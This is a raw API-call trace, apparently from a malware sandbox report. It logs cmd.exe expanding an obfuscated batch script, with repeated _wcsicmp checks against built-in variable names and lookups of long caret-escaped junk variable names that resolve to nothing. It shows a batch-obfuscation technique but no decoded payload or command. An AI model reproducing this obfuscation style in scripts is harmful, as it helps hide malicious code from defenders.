	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="ERRORLEVEL") returned -7
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDEXTVERSION") returned -5
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDCMDLINE") returned -5
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="DATE") returned -6
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="TIME") returned -22
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="RANDOM") returned -20
	[0056.982] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.982] GetEnvironmentVariableW (in: lpName="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.982] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CD") returned -5
	[0056.982] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="ERRORLEVEL") returned -7
	[0056.982] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDEXTVERSION") returned -5
	[0056.982] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDCMDLINE") returned -5
	[0056.982] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="DATE") returned -6
	[0056.983] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="TIME") returned -22
	[0056.983] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="RANDOM") returned -20
	[0056.983] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.983] GetEnvironmentVariableW (in: lpName="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CD") returned -5
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="ERRORLEVEL") returned -7
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDEXTVERSION") returned -5
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDCMDLINE") returned -5
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="DATE") returned -6
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="TIME") returned -22
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="RANDOM") returned -20
	[0056.983] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.983] GetEnvironmentVariableW (in: lpName="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CD") returned -5
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="ERRORLEVEL") returned -7
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDEXTVERSION") returned -5
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDCMDLINE") returned -5
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="DATE") returned -6
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="TIME") returned -22
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="RANDOM") returned -20
	[0056.983] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.983] GetEnvironmentVariableW (in: lpName="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.983] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CD") returned -5
	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7
	[0056.984] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5
